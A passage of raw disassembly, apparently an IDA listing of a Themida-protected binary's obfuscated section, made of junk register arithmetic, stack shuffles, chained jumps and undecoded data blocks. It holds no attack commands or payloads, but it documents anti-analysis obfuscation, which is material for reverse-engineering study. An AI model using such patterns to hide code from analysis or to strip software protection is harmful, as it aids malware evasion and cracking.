		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596FCF:				; CODE XREF: Themida_:005A2A7Ej
		add	esp, 4
		push	ebx
		mov	ebx, 140C2D43h
		shl	ebx, 7
		sub	ebx, 5E007670h
		neg	ebx
		neg	ebx
		xor	ebx, 0A90D54AEh
		xor	ebp, ebx
		pop	ebx
		dec	ebp
		shr	ebp, 6
		neg	ebp
		push	edi
		mov	edi, 0B415B98Ah
		xor	ebp, edi
		pop	edi
		xor	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	5CA8h
		mov	[esp], edi
		mov	edi, 56596E62h
		or	edi, 7B9328BEh
		add	edi, 33757037h
		push	edi
		not	dword ptr [esp]
		pop	edi
		neg	edi
		shl	edi, 8
		add	edi, 0ABA1914Ah
		add	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		sub	dword ptr [esp], 4CB9701Dh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_58F838
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFC251h, 5E6F2D40h, 0C501A38Bh, 449CE9h
		db 0
; ---------------------------------------------------------------------------


loc_597065:				; CODE XREF: Themida_:005A0C50j
		not	dl
		push	ecx
		mov	ch, 22h
		sub	dl, ch
		pop	ecx
		sub	dl, 76h
		mov	al, dl
		jmp	loc_59050E
; ---------------------------------------------------------------------------


loc_597077:				; CODE XREF: Themida_:00599D74j
		add	ecx, ebx
		add	ecx, 83F7051h
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5A300E
; ---------------------------------------------------------------------------
		db 5Dh
		dd 3304EA83h, 14312414h, 24143324h, 551CE9h, 4C48300h
		dd 1C8BD829h, 4C48124h,	8B000000h, 3FE92414h, 81000030h
		dd 4ECh, 24348900h, 49B8E9h, 30E95300h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5970C7:				; CODE XREF: Themida_:00598B0Bj
		mov	ecx, 4C50FCAh
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edx
		push	1E5F4C57h
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 15952854h
		or	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	382h
		mov	[esp], eax
		mov	eax, 1B1A5C89h
		push	ebx
		jmp	loc_59CEBC
; ---------------------------------------------------------------------------
		dw 0E800h
		dd 567F0459h, 0B850E689h, 5AF07738h, 77352D40h,	0C6015AF0h
		dd 0C2F8E958h, 0E6C1FFFFh, 2FE94604h
		db 0AEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59712F:				; CODE XREF: Themida_:0059361Fj
		dec	bh
		add	bh, 0FBh
		jmp	loc_599F31
; ---------------------------------------------------------------------------
		db 4Fh,	47h, 0E9h
		dd 0FFFFE518h
dword_597140	dd 4EC81h, 4890000h, 52DCB824h,	0B9517D3Ch, 290317CEh
					; DATA XREF: Themida_:0058E0DCo
		dd 0F759C821h, 0CBE56D8h, 0E9D6FFEDh, 0FFFF7269h
; ---------------------------------------------------------------------------


loc_597164:				; CODE XREF: Themida_:0059A8DFj
		mov	ebx, 3B5B2DEEh
		sub	[esp+4], ebx
		push	dword ptr [esp]
		jmp	loc_59E347
; ---------------------------------------------------------------------------


loc_597175:				; CODE XREF: Themida_:00590650j
		mov	esi, ecx
		pop	ecx
		add	esi, 2DDE5876h
		sub	esi, edx
		sub	esi, 2DDE5876h
		jmp	loc_596D4B
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812404h, 4, 34FFE829h, 0A74AE924h, 0C33FFFFh, 24248B24h
		dd 9D6AE9h, 2474FF00h, 84CBE904h, 0CC880000h, 0BDE9C4FEh
		dd 0F6000079h, 7D4FE9D5h, 4B90000h, 81000000h, 0B70E2BC5h
		dd 0F0C5812Ch, 1399F2Eh, 0F0ED81CDh, 81399F2Eh,	0B70E2BEDh
		dd 0E955592Ch, 0FFFFCB40h, 0C1805866h, 0E9D100D8h, 111Eh
		dd 875BDF29h, 895C243Ch, 16BF243Ch, 0E95C3D06h,	0BB15h
		dd 6C1B68h, 0F49DE900h,	3989FFFFh, 0F231815Fh, 8B26E277h
		dd 0EC81240Ch, 4, 0E9240C89h, 0A79Ch, 0A7360D68h, 24148B33h
		dd 5604C483h, 9A6CAFBEh, 59EE810Ch, 4E2CE94Fh, 754EF681h
		dd 0C6813180h, 7373FFFFh, 0E95EF221h, 2437h, 5C240C87h
		dd 8904EC83h, 68512434h, 4C6B09A0h, 4312E9h, 0BD555F00h
		dd 4, 6AE9EF01h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59727B:				; CODE XREF: Themida_:0059F1CFj
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 1
		push	ebx
		mov	ebx, 42B66983h
		sub	dword ptr [esp+8], 16046BDFh
		sub	[esp+8], ebx
		add	dword ptr [esp+8], 16046BDFh
		pop	ebx
		add	[esp+4], ebp
		push	ebx
		mov	ebx, 42B66983h
		sub	dword ptr [esp+8], 1E882743h
		add	[esp+8], ebx
		push	7A4Ah
		mov	[esp], eax
		jmp	loc_59C39A
; ---------------------------------------------------------------------------
dword_5972C8	dd 24048B66h, 6982E9h		db 0
; ---------------------------------------------------------------------------


loc_5972D1:				; CODE XREF: Themida_:00593975j
		pop	edx
		and	eax, 33C21A89h
		shr	eax, 8
		push	edi
		mov	edi, 32C21Ch
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebx, 71F75F7h
		add	ebx, eax
		sub	ebx, 71F75F7h
		pop	eax
		push	7DF3h
		mov	[esp], eax
		mov	eax, 4
		sub	ebx, 53241697h
		jmp	loc_58EA4A
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 173522Ah, 27BEE9h, 2BE94D00h, 8100004Fh, 435192F1h
		dd 8BCD012Eh, 0C483240Ch, 5DE80104h, 66C3315Fh,	0D0E9008Fh
		dd 0E9000077h, 0FFFF700Fh, 24048B66h, 14EE68h, 242C8900h
		dd 0B7CCE9h, 24348700h,	0B015E95Ch, 685B0000h, 28A9h, 52241489h
		dd 1C8AB951h, 0D0BA421Bh, 31527970h, 543159CAh,	34FF0424h
		dd 0C4815A24h, 4, 8B2434FFh, 89562404h,	1E8EE9E6h, 0EC830000h
		dd 48F5404h, 24048124h,	4, 83243C8Bh, 6BE904C4h, 56FFFFC1h
		dd 1A5806BEh, 8BF72966h, 9CE92434h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5973BB:				; CODE XREF: Themida_:00592C00j
		pop	esp
		add	eax, esi
		jmp	loc_59F711
; ---------------------------------------------------------------------------
		db 88h
		dd 0B75B59EEh, 0FFF73084h, 815A2434h, 4C4h, 4320400h, 0E9F828A9h
		dd 0FFFF7216h
; ---------------------------------------------------------------------------


loc_5973E0:				; CODE XREF: Themida_:0059F6F4j
		sub	ebp, eax
		pop	eax
		sub	ebp, 346718Ah
		push	eax
		push	73443C38h
		pop	eax
		sub	ebp, eax
		jmp	loc_59E228
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF6F57h, 0EE815B5Eh, 0BF7CEEECh, 0FF70AAE9h, 240489FFh
		dd 535711B8h, 2C81BE3Dh, 0C63172F6h, 5324048Bh,	0C381E389h
		dd 4, 0E904C383h, 0B23Dh, 0EC81F828h, 4, 99A3E9h
		db 0
; ---------------------------------------------------------------------------


loc_597439:				; CODE XREF: Themida_:0058FA29j
		shl	ebx, 1
		jmp	loc_599DB8
; ---------------------------------------------------------------------------
dword_597440	dd 2B60F66h, 8904EC83h,	8B542414h, 0C4812414h, 4, 5CE95550h
					; DATA XREF: Themida_:0058E09Co
		dd 1FFFF83h, 0EF815AD7h, 6A617DC8h, 0C781F701h,	6A617DC8h
		dd 4780EF81h, 835E13F8h, 3C8704C7h, 24248B24h, 66242C81h
		dd 169BF0Ah, 4812404h, 0BF0A6624h, 73306869h, 1C890000h
		dd 12F2BB24h, 5C0116DFh, 0E95B0424h, 0FFFF6EAFh, 33241C31h
		dd 248B241Ch, 2E796824h, 3C890000h, 0D86CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5974BA:				; CODE XREF: Themida_:005933F6j
		pop	esp
		mul	cl
		movzx	cx, ah
		push	small 54C6h
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5974D5:				; CODE XREF: Themida_:005A1791j
		mov	ebp, esp
		jmp	loc_59D06F
; ---------------------------------------------------------------------------


loc_5974DC:				; CODE XREF: Themida_:0059F447j
		mov	ebx, 27BABE4Eh
		jmp	loc_59C091
; ---------------------------------------------------------------------------
		dw 15Dh
		dd 53EB81CBh, 8B26B460h, 5452240Ch, 4C2815Ah, 0E9000000h
		dd 96Ch
; ---------------------------------------------------------------------------


loc_597500:				; CODE XREF: Themida_:005A2EFAj
		xor	ebx, [esp]
		mov	esp, [esp]
		and	dl, 24h
		not	dl
		push	eax
		jmp	loc_59764A
; ---------------------------------------------------------------------------


loc_597511:				; CODE XREF: Themida_:0059B869j
		sub	ebx, ecx
		pop	ecx
		add	ebx, edi
		add	ebx, 2FA41139h
		pop	edi
		sub	ebx, esi
		sub	ebx, 26F61C9Eh
		pop	esi
		jmp	loc_5A096A
; ---------------------------------------------------------------------------
		db 5Ch
		dd 405h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_597C98
; ---------------------------------------------------------------------------
		dw 4040h
		dd 76301225h, 4EC837Ch,	56243C89h, 452F3DBEh, 5EF7892Bh
		dd 0C1FFEF83h, 0EFC104EFh, 0BEF78105h, 81799314h, 0E77FADCFh
		dd 4EC8361h, 8722E9h, 0D8BF5700h, 0E9286D38h, 9298h, 4BE5653h
		dd 89000000h, 0ADE95EF3h, 81000001h, 410843EDh,	81F50159h
		dd 410843C5h, 24348B59h, 4C481h, 0EC830000h, 24148904h
		dd 0FFCC6EE9h, 14875FFFh, 0C895C24h, 0E77CB924h, 0C82937FFh
		dd 8B2434FFh, 0C483240Ch, 0E6895604h, 74A2BD55h, 0E5810A54h
		dd 60AD0DEBh, 40E2BB53h, 0C381292Fh, 28CB3648h,	8108E3C1h
		dd 8CD162F3h, 5BDD0105h, 555DEE01h, 5F65A8BDh, 5CC5812Eh
		dd 1D1A09Ah, 0F1E95DEEh, 8300005Ch, 48704E8h, 1C895C24h
		dd 4BB24h, 0B4E90000h, 8B000010h, 0C4812404h, 4, 4C481h
		dd 54570000h, 81243C8Bh, 4C4h, 4C78100h, 83000000h, 0A8E904EFh
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597643:				; CODE XREF: Themida_:005A22C6j
		add	al, dh
		jmp	loc_58FD4F
; ---------------------------------------------------------------------------


loc_59764A:				; CODE XREF: Themida_:0059750Cj
		mov	al, 9Ch
		inc	al
		xor	al, 62h
		sub	dl, al
		pop	eax
		shl	dl, 1
		jmp	loc_5A0E4E
; ---------------------------------------------------------------------------
aIS		db '‰,$é',0Dh,';',0
		align 2
aLHbs		db '‹$$hbs',0
		align 2
		dw 489h
		dd 68E08924h, 1CA1h, 0E9241489h, 27FDh
; ---------------------------------------------------------------------------


loc_59767C:				; CODE XREF: Themida_:0059BF2Cj
		add	cl, dl
		pop	dx
		sub	dl, cl
		pop	ecx
		xor	dl, 78h
		add	al, 15h
		jmp	loc_5A25F5
; ---------------------------------------------------------------------------
		dd offset dword_4491D4+59ACh
		db 0D8h, 5Bh, 0E9h
		dd 0FFFFFD94h, 87F8192Dh, 58C1293Eh, 0F704E9C1h, 2BE981D1h
		dd 1AB216Eh, 0BD5559C8h, 0B9A0B20h, 0E9D5F745h,	0FFFFC4EFh
; ---------------------------------------------------------------------------


loc_5976BC:				; CODE XREF: Themida_:005A1190j
		shr	ecx, 0Bh
		push	0CF5h
		mov	[esp], ebx
		add	dword ptr [esp], 7ACD6B0Ch
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5A2CEF
; ---------------------------------------------------------------------------


loc_5976D9:				; CODE XREF: Themida_:005A1158j
		mov	ecx, [esp]
		add	esp, 4
		or	eax, eax
		jnz	loc_597D1E
		push	54C2h
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 71F62676h
		jmp	loc_59CB75
; ---------------------------------------------------------------------------
		db 5Fh,	0E9h, 58h
		dd 0BEFFFFE5h, 7A7319B3h, 11E9A3BBh, 5EF3019Ch,	34FFC331h
		dd 0D201E924h, 0F680FFFFh, 850471h, 8B852CF0h, 0C4812414h
		dd 4, 0E97FB252h, 7A0h,	1788E981h, 0D9016899h, 6786E9h
		db 0
; ---------------------------------------------------------------------------


loc_597749:				; CODE XREF: Themida_:0058F8D5j
		sub	ebp, 0A141E897h
		mov	eax, ebp
		jmp	loc_5938B3
; ---------------------------------------------------------------------------


loc_597756:				; CODE XREF: Themida_:0059CFA9j
		push	edx
		not	byte ptr [esp+1]
		pop	edx
		add	dh, 0Ch
		sub	bl, 39h
		sub	bl, dh
		add	bl, 39h
		jmp	loc_59A990
; ---------------------------------------------------------------------------
		dd 2454015Bh, 0EB94E908h, 8B66FFFFh, 79682404h,	89000062h
		dd 0E2892414h, 4C281h, 0EC810000h, 4, 53243C89h, 9301A968h
		dd 0E9535B6Eh, 0FFFFCE39h, 0FF6BAEE9h, 0E9D129FFh, 0FFFFC40Ah
		dd 243C875Eh, 78F5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5977B5:				; CODE XREF: Themida_:00592635j
		pop	esp
		mov	[esp], edx
		jmp	loc_59A3DF
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 4BB24h, 0D9010000h, 8B2434FFh, 8951241Ch, 4C181E1h
		dd 81000000h, 4C1h, 240C8700h, 2DF0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5977E5:				; CODE XREF: Themida_:00593731j
		add	ecx, 4
		jmp	loc_59B46A
; ---------------------------------------------------------------------------
		db 2Dh,	0EAh, 2Ah
		dd 0E9563A44h, 0FFFF7C73h, 8324348Bh, 0C8E904C4h, 530000AAh
		dd 75203468h, 0F3815B7Ch, 75FB5B57h, 6C56F381h,	0E3811A9Bh
		dd 5D6159Ah, 1514F381h,	0D9890114h, 59C8015Bh, 0E9240487h
		dd 0FFFFE8E9h, 4C481h, 73E90000h, 5C000087h, 1316BF57h
		dd 0EF83380Ch, 0CCBA5201h, 8148495Fh, 652743E2h, 0BFEA8165h
		dd 21C4DCCEh, 0C7815AD7h, 21FA35C9h, 34FFFB01h,	2434FF24h
		dd 4C4815Fh, 81000000h,	4C4h, 0E930FF00h, 0FFFFFF24h, 3CB85052h
		dd 8974F819h, 24E958C2h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59788B:				; CODE XREF: Themida_:005907C0j
		xor	ebx, [esp]
		jmp	loc_591424
; ---------------------------------------------------------------------------


loc_597893:				; CODE XREF: Themida_:0059328Dj
		shr	ecx, 2
		jmp	loc_5979CA
; ---------------------------------------------------------------------------
		db 81h
		dd 0D24771C7h, 5FF8312Bh, 0F3A4F805h, 32B2E9CEh, 0DDF70000h
		dd 0E9D5F74Dh, 352Dh, 4C481h, 0F2810000h, 0AB13C2CFh, 815AD589h
		dd 0CB107CC1h, 81E9012Bh, 0CB107CE9h, 0A226E92Bh, 0D7F70000h
		dd 3826E9h, 5E08900h, 4, 8287E952h, 83590000h, 1C8904ECh
		dd 50E38924h, 4B8h, 58C30100h, 4B850h, 0C3010000h, 241C8758h
		dd 4C1815Ch, 83000000h,	0EC8304C1h, 240C8904h, 42474FFh
		dd 81240C8Bh, 4C4h, 24048F00h, 0EE40E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597932:				; CODE XREF: Themida_:005933C5j
		pop	esi
		and	eax, edi
		pop	edi
		shr	eax, 10h
		xor	eax, ecx
		push	edx
		jmp	loc_59A953
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0D7010000h, 4C7815Ah, 87000000h, 885C243Ch, 0D2F659CAh
		dd 0D130CA30h, 0C9FECA30h, 0D130CA30h, 1D99E9h,	5DE82900h
		dd 57EBE9h, 241C8700h, 0B91DE9h
		db 0
; ---------------------------------------------------------------------------


loc_597979:				; CODE XREF: Themida_:0059E182j
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	eax, 4
		mov	ebx, eax
		jmp	loc_5A1195
; ---------------------------------------------------------------------------


loc_59798D:				; CODE XREF: Themida_:0059ABB4j
		push	1D90h
		mov	[esp], edx
		mov	edx, 6BCB06CCh
		not	edx
		sub	edx, 53F8B61Ch
		mov	ebp, edx
		pop	edx
		jmp	loc_5A1FF2
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 4CEE924h, 0E9C10000h, 56536807h, 1C890000h, 815B5424h
		dd 4C3h, 0B01DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5979CA:				; CODE XREF: Themida_:00597896j
		push	ebx
		jmp	loc_5908E3
; ---------------------------------------------------------------------------
		dd 4EC81h, 4890000h, 16824h, 68580000h,	27F9h, 0E9241489h
		dd 1E84h, 4E981h, 0C870000h, 3FBFE924h,	0D8290000h, 0FFC392E9h
		dd 3CEA81FFh, 811FA32Ah, 0C135E0F2h, 0E5CA8163h, 8154D363h
		dd 2DF9B3EAh, 8BD33118h, 0C4812414h, 4,	7A75E9h
		db 0
; ---------------------------------------------------------------------------


loc_597A29:				; CODE XREF: Themida_:0058F2D3j
		mov	eax, 5E4C4EA9h
		sub	eax, 5DD92E1Bh
		sub	eax, 542865B8h
		add	eax, 53B5452Eh
		add	ebp, eax
		jmp	loc_590583
; ---------------------------------------------------------------------------
		dd 0E959CD01h, 7D07h, 8704C283h, 565C2414h, 2BEh, 5EF30100h
		dd 2474FF53h, 48F5B04h,	8D73E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597A6A:				; CODE XREF: Themida_:00595E7Aj
		mov	esi, [esp]
		jmp	loc_58F5D5
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 89575924h, 4C781E7h,	83000000h, 3C8704C7h, 0AC94E924h
		dd 0EB81FFFFh, 3F881A13h, 5A5CE9h, 4895C00h, 242C3124h
		dd 31242C33h, 8A68242Ch, 8900002Eh, 1487242Ch, 0E9D2F724h
		dd 0FFFF8701h, 0BD242C89h, 18415ABEh, 4507E5C1h, 5206E5C1h
		dd 0C92DFCBAh, 36B85031h, 486FE675h, 1375E9h, 70E95E00h
		dd 8100004Eh, 0D73E85C5h, 5DEA0957h, 0FFD070E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_597AE9:				; CODE XREF: Themida_:005A0561j
		neg	cl
		add	cl, 8Fh
		jmp	loc_598C4B
; ---------------------------------------------------------------------------
		db 0BAh
		dd 729A1D3Eh, 4245401h,	49BB535Ah, 2904C10Dh, 8B04245Ch
		dd 8953241Ch, 4C381E3h,	81000000h, 4C3h, 241C8700h, 0E924248Bh
		dd 0FFFF682Fh, 805B665Ch, 6866DAC3h, 89661AFBh,	52512414h
		dd 0C68039B6h, 0F7885368h, 1C8BFD88h, 4C48124h,	5A000000h
		dd 0E743E950h, 0C481FFFFh, 4, 8B24048Fh, 89662424h, 3AE92414h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_597B63:				; CODE XREF: Themida_:00590EE6j
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_59FC84
; ---------------------------------------------------------------------------
off_597B6E	dd offset dword_562194+2D4h ; DATA XREF: Themida_:0058E074o
		dw 0E900h
		dd 0FFFF8F93h, 0FC4D0BB8h, 37BFB91Fh, 0C1316A16h, 582434FFh
		dd 32FBE9h
		db 0
; ---------------------------------------------------------------------------


loc_597B8D:				; CODE XREF: Themida_:005999A5j
		sub	bh, 88h
		add	cl, bh
		jmp	loc_5905B5
; ---------------------------------------------------------------------------
		db 0F7h
		dd 814343D3h, 0E90749C3h, 3FC3812Fh, 81DD4160h,	0CE2FBEEBh
		dd 81CB2920h, 0CE2FBEC3h, 5BD98720h, 0BE60F181h, 0E9E898h
		dd 46000070h, 0EE81D6F7h, 6EC045D8h, 3A54E9h
		db 0
; ---------------------------------------------------------------------------


loc_597BD1:				; CODE XREF: Themida_:005A2A97j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59E4E2
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 5B98BF57h, 0BA520FE3h, 6D1C3D75h,	8904EC83h, 0DBB241Ch
		dd 0F7777772h, 0AEEB81D3h, 294BB37Ch, 18E95BDAh, 5400008Fh
		dd 0CEE95558h, 5B000041h, 32A7E9h
		db 0
; ---------------------------------------------------------------------------


loc_597C19:				; CODE XREF: Themida_:00598840j
		pop	ebx
		jmp	loc_5A0F4F
; ---------------------------------------------------------------------------
		db 5Ah
		dd 1EA8E9h, 4EC8300h, 0BA241489h, 34B956C3h, 1E2EF281h
		dd 81427821h, 684842EAh, 4EF28122h, 8157A406h, 3554C1C2h
		dd 42D2F702h, 0FFDC94E9h, 4EB81FFh, 87000000h, 895C241Ch
		dd 2268243Ch, 89000005h, 1DBB241Ch, 0BF783339h,	87CCC6E7h
		dd 34FFDF01h, 241C8B24h, 4C481h, 89520000h, 4C281E2h, 51000000h
		dd 30DEE9h, 4C48100h, 0E9000000h, 0FFFF73B5h
; ---------------------------------------------------------------------------


loc_597C98:				; CODE XREF: Themida_:0059753Dj
		mov	ebx, 31C3A2Bh
		sub	ebx, 734092Ah
		neg	ebx
		jmp	loc_58E359
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 34FF5C24h, 0EC835924h, 24048904h, 24048B54h,	4C481h
		dd 0AC680000h, 89000015h, 86E9240Ch
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597CCF:				; CODE XREF: Themida_:00590856j
		mov	ecx, 2CA14C54h
		mov	ebp, 58A455A0h
		xor	ebp, ecx
		pop	ecx
		sub	ebp, ebx
		jmp	loc_59FBC3
; ---------------------------------------------------------------------------
byte_597CE3	db 0ACh			; DATA XREF: Themida_:0058E0B0o
		dd 0A6041F2Ch, 0A62CD800h, 0C01AB753h, 0CFFE05EFh, 5250D7F6h
		dd 0D488B5B2h, 0AEB8E9h
		db 0
; ---------------------------------------------------------------------------


loc_597D01:				; CODE XREF: Themida_:00598564j
		xor	edi, 6B205801h
		push	53ADh
		mov	[esp], edi
		mov	edx, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4


loc_597D1E:				; CODE XREF: Themida_:005976E4j
					; Themida_:005991BFj
		push	esi
		push	ebx
		jmp	loc_599000
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 0D3h
		dd 0E99C2404h, 0FFFF6623h
; ---------------------------------------------------------------------------


loc_597D30:				; CODE XREF: Themida_:00594B14j
		add	ebp, ebx
		pop	ebx
		sub	ebx, ebp
		pop	ebp
		add	ebx, 1FA3486Bh
		add	ebx, edi
		jmp	loc_59EC89
; ---------------------------------------------------------------------------


loc_597D43:				; CODE XREF: Themida_:00594798j
		mov	[esp], ebx
		push	0
		jmp	loc_59EC07
; ---------------------------------------------------------------------------
		dd 4BFh, 906DE900h, 0C89FFFFh, 251FB924h, 2AE9059Ah
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597D67:				; CODE XREF: Themida_:0059B0F2j
		mov	[esp], ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		xor	al, dl
		jmp	loc_590415
; ---------------------------------------------------------------------------


loc_597D7D:				; CODE XREF: Themida_:00593A5Ej
		pop	edx
		xor	esi, 82914EFh
		push	edi
		mov	edi, 2D975BDEh
		jmp	loc_59F33B
; ---------------------------------------------------------------------------
		db 51h
		dd 0EB88C588h, 24048B59h, 0FFEFF1E9h, 266850FFh, 58250861h
		dd 4EC81h, 0C890000h, 6325B924h, 0C831764Dh, 29033559h
		dd 0C2814C01h, 21C96513h, 73DEBF57h, 0FA2927C2h, 81C2295Fh
		dd 0C273DEC2h, 13EA8127h, 5821C965h, 5F43B850h,	5FE91F39h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597DE3:				; CODE XREF: Themida_:005A2270j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5A0A4D
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 4EC8124h, 89000000h,	4832424h, 34FF0424h, 44685924h
		dd 89000065h, 0E6892434h, 4C681h, 0C6810000h, 4, 1105E9h
		dd 4EA8100h, 87000000h,	34E92414h, 51000015h, 0C181E189h
		dd 4, 4BD55h, 0E9290000h, 83242C8Bh, 0C8704C4h,	2C895C24h
		dd 8ADBD24h, 0B8686FFBh, 8900005Ch, 6855241Ch, 41C925E3h
		dd 1459E95Dh, 66590000h, 0E9F78853h, 482Dh, 4C281h, 14870000h
		dd 0A018E924h, 0E956FFFFh, 1798h, 76C268h, 240C8900h, 4EC81h
		dd 45E90000h, 81FFFFA5h, 4C6h, 24348700h, 8324248Bh, 386804C0h
		dd 8900000Eh, 74FF2404h, 8F580424h, 248B2404h, 68E1F724h
		dd 4FBDh, 50241489h, 0ACBEE99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_597EC6:				; CODE XREF: Themida_:0059FBC4j
		push	740Bh
		jmp	loc_5902CC
; ---------------------------------------------------------------------------
		dd 0C15FFB21h, 0E94304EBh, 0FFFF9C0Fh, 535AD028h, 0FFE49EE9h
		dd 7C8568FFh, 2C890000h, 4BD24h, 0E9010000h, 83242C8Bh
		dd 0C18104C4h, 4, 31240C33h, 0C33240Ch,	1C9EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_597F0E:				; CODE XREF: Themida_:0059D329j
		or	eax, eax
		jz	loc_58FEA2
		push	dword ptr [edi+1Ch]
		jmp	loc_59C156
; ---------------------------------------------------------------------------
		dd offset loc_59EB28
		dw 66C3h
		dd 664CD068h, 68241489h, 26D4h,	894E9h,	0C2C58000h, 0E919ED80h
		dd 7308h, 1B8h,	6CDE900h, 34FF0000h, 9F1FE924h,	895C0000h
		dd 0E951242Ch, 0FFFFB68Fh, 0BD242C89h, 6CF2572Eh, 0E95DEB89h
		dd 6C91h, 0E902EFC1h, 0A6FDh, 450830B8h, 3BE94812h
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_597F7F:				; CODE XREF: Themida_:0059FD98j
		push	dword ptr [esp+4]
		jmp	loc_59C9FB
; ---------------------------------------------------------------------------
		dd 6510EE81h, 148B14ADh, 4C48324h, 330EBF57h, 0F8015486h
		dd 68F0015Fh, 5706h, 174CE9h
		db 0
; ---------------------------------------------------------------------------


loc_597FA9:				; CODE XREF: Themida_:0059DF43j
		pop	esp
		jmp	loc_59D977
; ---------------------------------------------------------------------------
		db 68h
		dd 1897h, 81240489h, 4ECh, 48F5400h, 0D1A7E924h, 0E95BFFFFh
		dd 0B77h, 4BE56h, 40E90000h, 8B000054h,	0A2E92414h, 50000070h
		dd 2B8h, 58C60100h, 61A5E9h
		db 0
; ---------------------------------------------------------------------------


loc_597FED:				; CODE XREF: Themida_:005A2D18j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, 3BD11456h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_59AACF
; ---------------------------------------------------------------------------


loc_598005:				; CODE XREF: Themida_:00593A9Cj
		push	edx
		sub	dword ptr [esp], 94512D4h
		jmp	loc_593A57
; ---------------------------------------------------------------------------
		dw 0C828h
		dd 57240C8Bh, 8062E9h, 814A4200h, 527139C2h, 5AD00146h
		dd 9438E9h, 241C3300h, 54E2E9h
		db 0
byte_598035	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:0058E258o
		dd 0D259669Dh, 0E99C2414h, 0FFFF630Fh
; ---------------------------------------------------------------------------


loc_598044:				; CODE XREF: Themida_:005A119Ej
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	ebx
		push	5D64h
		mov	[esp], edx
		jmp	loc_5A138B
; ---------------------------------------------------------------------------
		db 89h
		dd 70F7E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59807E:				; CODE XREF: Themida_:005917AAj
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_59CB95
; ---------------------------------------------------------------------------
		db 50h,	59h, 58h
		dd 5E2434FFh, 8104C483h, 9D44FBC7h, 92FCE97Bh, 1C89FFFFh
		dd 81E38924h, 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 614Eh
; ---------------------------------------------------------------------------


loc_5980D4:				; CODE XREF: Themida_:0059619Fj
		or	ebp, 2A5B4D2Ah
		sub	ebp, 0CE45392h
		sub	ebp, 0D26FC466h
		xor	ecx, ebp
		pop	ebp
		mov	eax, ecx
		pop	ecx
		inc	eax
		inc	eax
		not	eax
		sub	eax, 26F37DB8h
		jmp	loc_594825
; ---------------------------------------------------------------------------


loc_5980FA:				; CODE XREF: Themida_:0059A510j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_59CD7B
; ---------------------------------------------------------------------------


loc_59810A:				; CODE XREF: Themida_:0059E654j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_598AFF
